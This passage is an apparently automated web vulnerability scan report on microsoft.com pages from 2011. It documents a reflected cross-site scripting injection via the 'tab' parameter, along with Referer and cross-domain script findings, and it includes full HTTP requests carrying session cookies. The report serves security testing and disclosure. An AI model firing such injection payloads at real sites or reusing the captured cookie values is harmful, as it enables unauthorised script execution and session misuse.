1.8. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [tab parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The value of the tab request parameter is copied into a JavaScript rest-of-line comment. The payload 8f765%0aalert(1)//d21fede2cb7 was submitted in the tab parameter. This input was echoed as 8f765
alert(1)//d21fede2cb7
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos8f765%0aalert(1)//d21fede2cb7&ocid=%27%22%20ns=%20netsparker(0x01A74E)%20 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 279676130400000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:57:34 GMT
Content-Length: 81668


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
//d21fede2cb7&ocid='" ns= netsparker(0x01a74e) ";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos8f765
alert(1)//d21fede2cb7
&ocid='" ns= netsparker(0x01a74e) ";s.prop3 = "fr-ca";</script>
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.microsoft.com
Path:   /WebResource.axd

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /WebResource.axd?d=bAElw4ObhUDwStCGAnIZE7WvteQ_RwuUsifXquxeQII2OvOdM7hvK2-Vz2f0UUB6KeuNdf7DMvAzWGtpBKcMocsS8gQ1&t=634469395109273111 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Referer: http://www.microsoft.com/business/de-at/Seiten/default.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479512615:ss=1312479477405; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=5141030f-fc19-4f39-9cae-7f2459f830bb&Microsoft.CreationDate=08/04/2011 20:38:01&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.NumberOfVisits=3&SessionCookie.Id=BA3588BC00013392345C0ADBBC51D868; MS0=2baf9d55aa6c4ce6b3420d3d3debec45; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=6&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response 1

HTTP/1.1 200 OK
Cache-Control: public
Content-Length: 20794
Content-Type: application/x-javascript
Expires: Fri, 03 Aug 2012 09:55:54 GMT
Last-Modified: Sat, 23 Jul 2011 01:53:11 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.5136
VTag: 791453330900000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:38:52 GMT

function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) {
this.eventTarget = eventTarget;
this.eventArgument = eventArgument;
this.validation = validation;
this.validationGroup = validationGroup;
this.actionUrl = actionUrl;
this.trackFocus = trackFocus;
this.clientSubmit = clientSubmit;
}
function WebForm_DoPostBackWithOptions(options) {
var validationResult = true;
if (options.validation) {
if (typeof(Page_ClientValidate) == 'function') {
validationResult = Page_ClientValidate(options.validationGroup);
}
}
if (validationResult) {
if ((typeof(options.actionUrl) != "undefined") && (options.actionUrl != null) && (options.actionUrl.length > 0)) {
theForm.action = options.actionUrl;
}
if (options.trackFocus) {
var lastFocus = theForm.elements["__LASTFOCUS"];
if ((typeof(lastFocus) != "undefined") && (lastFocus != null)) {
if (typeof(document.activeElement) == "undefined") {
lastFocus.value = options.eventTarget;
}
else {
var active = document.activeElement;
if ((typeof(active) != "undefined") && (act
...[SNIP]...

Request 2

GET /WebResource.axd?d=bAElw4ObhUDwStCGAnIZE7WvteQ_RwuUsifXquxeQII2OvOdM7hvK2-Vz2f0UUB6KeuNdf7DMvAzWGtpBKcMocsS8gQ1&t=634469395109273111 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479512615:ss=1312479477405; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=5141030f-fc19-4f39-9cae-7f2459f830bb&Microsoft.CreationDate=08/04/2011 20:38:01&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.NumberOfVisits=3&SessionCookie.Id=BA3588BC00013392345C0ADBBC51D868; MS0=2baf9d55aa6c4ce6b3420d3d3debec45; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=6&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response 2

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://www.microsoft.com/library/errorpages/smarterror.aspx?aspxerrorpath=http%3a%2f%2fwww.microsoft.com%2fWebResource.axd%3fd%3dbAElw4ObhUDwStCGAnIZE7WvteQ_RwuUsifXquxeQII2OvOdM7hvK2-Vz2f0UUB6KeuNdf7DMvAzWGtpBKcMocsS8gQ1%26t%3d634469395109273111
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 438183530300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:39:31 GMT
Content-Length: 397

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://www.microsoft.com/library/errorpages/smarterror.aspx?aspxerrorpath=http%3a%2f%2fwww.microsoft.com%2fWebResource.axd%3fd%3dbAElw4ObhUDwStCGAnIZE7WvteQ_RwuUsifXquxeQII2OvOdM7hvK2-Vz2f0UUB6KeuNdf7DMvAzWGtpBKcMocsS8gQ1%26t%3d634469395109273111">here</a>.</h2>
</body></html>
<head><title>

</title></head>

3. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.microsoft.com/austria/partnernet/referenzen_detail.mspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /austria/partnernet/referenzen_detail.mspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /austria/partnernet/referenzen_detail.mspx?Id=1 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events:3=ru-ru/events/platforma|global/en/ca; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=5141030f-fc19-4f39-9cae-7f2459f830bb&Microsoft.CreationDate=08/04/2011 20:38:01&Microsoft.LastVisitDate=08/04/2011 20:38:01&Microsoft.NumberOfVisits=1&SessionCookie.Id=BA3588BC00013392345C0ADBBC51D868; MS0=2baf9d55aa6c4ce6b3420d3d3debec45; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:38:01&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=4&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479477405:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Expires: -1
Last-Modified: Thu, 04 Aug 2011 20:38:24 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791279330400000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:38:24 GMT
Content-Length: 17591


<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><META name="MS.LOCALE" content="de-at"><title>Microsoft .sterreich Partnernet</title><meta name="descript
...[SNIP]...
<img width="4" height="7" border="0" alt="*" title="" class="mnpMenuArrow" src="/library/mnp/2/gif/arrowLTR.gif" style="left: 166px; visibility: hidden"><a href="http://www.microsoft.at/partnernet" target="_blank">Einstieg ins Partnernet</a>
...[SNIP]...
<noscript><img border="0" name="DCSIMG" width="1" height="1" src="http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/njs.gif?dcsuri=/nojavascript&WT.js=No"/></noscript>
...[SNIP]...

3.2. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=%27%22%20ns=%20netsparker(0x01A74E)%20 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791706430300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:56:06 GMT
Content-Length: 84544


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
<p><a href="https://signup.live.com/signup.aspx?mkt=fr-ca&amp;rollrs=12&amp;lic=1" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Get a Windows Live ID','TN','event2');&#xA;&#x9;&#x9;&#x9;&#x9;">Cr..er un identifiant Windows Live ID</a>
...[SNIP]...
<p><a href="http://home.live.com/" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Access Your Online Services','TN','event2');&#xA;&#x9;&#x9;&#x9;&#x9;">Acc..der aux services en ligne</a>
...[SNIP]...
<p><a href="http://download.live.com/writer" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Writer','MN','event3');&#xA;&#x9;&#x9;&#x9;&#x9;">Writer</a>
...[SNIP]...
<p><a href="http://download.live.com/toolbar" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Toolbar','MN','event3');&#xA;&#x9;&#x9;&#x9;&#x9;">Toolbar</a>
...[SNIP]...
<p><a href="http://download.live.com/familysafety" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Contr..le parental','MN','event3');&#xA;&#x9;&#x9;&#x9;&#x9;">Contr..le parental</a>
...[SNIP]...
<p><a href="http://download.live.com/moviemaker" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Movie Maker','MN','event3');&#xA;&#x9;&#x9;&#x9;&#x9;">Movie Maker</a>
...[SNIP]...
<p><a href="http://mobile.live.com" onmousedown="javascript:" onmouseup="javascript:" onclick="javascript:TrackExitLink(this,'Mobile','MN','event3');&#xA;&#x9;&#x9;&#x9;&#x9;">Mobile</a>
...[SNIP]...
<p><a href="http://download.live.com/?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:hero:getWL" target="new">T..l..charger Windows Live</a>
...[SNIP]...
</a> simplifie l...importation de vos photos dans la <a href="http://download.live.com/photogallery?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:tab3:photogallery" target="new">Galerie de photos Windows Live</a>
...[SNIP]...
<p>
Vous pouvez retoucher automatiquement vos photos avec la <a href="http://download.live.com/photogallery?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:tab3:photogallery" target="new">Galerie de photos Windows Live</a>
...[SNIP]...
<p>
Ensuite, en seulement quelques clics, vous pouvez publier vos photos pr..f..r..es sur Facebook, Flickr, <a href="http://photos.live.com?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:tab3:photos" target="new">Windows Live Photos</a>
...[SNIP]...
<p>
Quand vos amis vous demandent des nouvelles de votre voyage par messagerie instantan..e, pensez .. faire glisser vos photos dans la fen..tre de conversation <a href="http://download.live.com/messenger?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:tab3:messenger" target="new">Windows Live Messenger</a>
...[SNIP]...
<p class="generic_getstarted_links"><a href="http://www.download.live.com?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:tab3:essentials" target="new">T..l..charger Windows Live</a>
...[SNIP]...
<td class="win7learnmore_link"><a href="http://download.live.com/photogallery?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:rightnav:photos" target="new">Photos</a>
...[SNIP]...
<td class="win7learnmore_link"><a href="http://download.live.com/moviemaker?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:rightnav:movies" target="new">Films</a>
...[SNIP]...
<td class="win7learnmore_link"><a href="http://hotmail.live.com?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:rightnav:email" target="new">Messagerie ..lectronique</a>
...[SNIP]...
<td class="win7learnmore_link"><a href="http://download.live.com/messenger?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:rightnav:IM" target="new">Messagerie instantan..e</a>
...[SNIP]...
<td class="win7learnmore_link"><a href="http://mobile.live.com?ocid=PID27252::T:WIN7WLv2:ON:WL:fr-ca:rightnav:mobile" target="new">Mobile</a>
...[SNIP]...
<p><a href="http://tou.live.com/en-us/default.aspx">L..gal</a>
...[SNIP]...
<p><a href="https://support.live.com/eform.aspx">Aide</a>
...[SNIP]...
<p><a href="http://feedback.live.com/">Commentaires</a>
...[SNIP]...
<p><a href="http://download.live.com/systemrequirements">Configuration requise</a>
...[SNIP]...
<noscript>
           <a href="http://www.omniture.com" title="Web Analytics">
               <img src="http://mswllmwave3intlcom.112.2O7.net/b/ss/mswllmwave3intlcom/1/H.17--NS/0" height="1" width="1" border="0" alt="" />
           </a>
...[SNIP]...
<noscript>
   <img border="0" name="DCSIMG" width="1" height="1" alt="" src="http://m.webtrends.com/dcsjwb9vb00000c932fd0rjc7_5p3t/njs.gif?dcsuri=/nojavascript&WT.js=No" />
</noscript>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.microsoft.com/events/eventdetails.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /events/eventdetails.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /events/eventdetails.aspx HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cache-Control: max-age=0
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru:2=ru-ru/events:3=ru-ru/events/platforma|global/en/ca; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312472606898:ss=1312472479433; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 18:41:27&Microsoft.VisitStartDate=08/04/2011 18:41:23&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=3&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Pragma: no-cache
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 79154831000000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:38:02 GMT
Content-Length: 22925


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
<head>
   <title></title>
   <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
   <meta name="CODE_LANGUAGE"
...[SNIP]...
<center><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script>
...[SNIP]...

4.2. http://www.microsoft.com/windowsphone/en-us/howto/wp7/default.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /windowsphone/en-us/howto/wp7/default.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /windowsphone/en-us/howto/wp7/default.aspx HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.microsoft.com/windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx
Cookie: .ASPXANONYMOUS=QYYxff1-zAEkAAAAYWZhMmUxNTMtZmRiMS00MGE2LTk3YWItYmEwZTRmZGQ3YTBhierYy90qrbP0SaclyIGyjx39Bv41; WT_FPC=id=20b4a619ec15c9129a51311327259214:lv=1312414191550:ss=1312413837678; WT_NVR=0=/:1=australia|online:2=australia/windows|en/ie|download/en:3=australia/windows/pc-scout|ru-ru/events/platforma; A=I&I=AxUFAAAAAAAKBwAAdXWUADhA25JSNVWis+tmhQ!!&GO=244; MUID=07A84762A59063DC03DB4555A090635D; MSID=Microsoft.CreationDate=07/22/2011 12:36:13&Microsoft.LastVisitDate=08/04/2011 02:30:10&Microsoft.VisitStartDate=08/04/2011 02:10:30&Microsoft.CookieId=ac11fa37-8f10-42d0-83ff-16cc26c7f5e7&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=12&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0385-6668-8006-3576; MC1=GUID=77ec6960d0e1ff40bfef8b0c56239b53&HASH=6069&LV=20117&V=3; _opt_vi_RLWY7DRO=5D945FBB-6638-4BDF-A1AF-09A0EB00612A; _opt_vi_X19C7L9U=BF4B3FA2-8E51-4150-9ABB-1077225B50AC; 11b31887-495f-4481-aabb-9ac86f4f6021=%7B%22parent_id%22%3A%22%22%2C%22referrer%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22id%22%3A%22FOiQuFs7vIt%22%2C%22wom%22%3Afalse%2C%22entry_point%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fen-us%2Foffice365%2Fonline-software.aspx%22%2C%22url_tag%22%3A%22NOMTAG%22%7D; _opt_vi_TKSBM7DI=9C480FCC-CBD9-4C4A-AD5E-8907629E985D; WT_O365_FPC=id=6504f471-3e91-4f0c-b2de-dabaf6ef56cb:lv=1312378238863:ss=1312377836433; R=200036905-8/3/2011 11:30:42; fsr.r.365={"d":90,"i":"1312388639285_861091","e":1312993478247}; mcI=Thu%2C%2011%20Aug%202011%2002%3A24%3A04%20GMT; omniID=1312424649583_34bd_b414_dec7_f8046bff7d58; 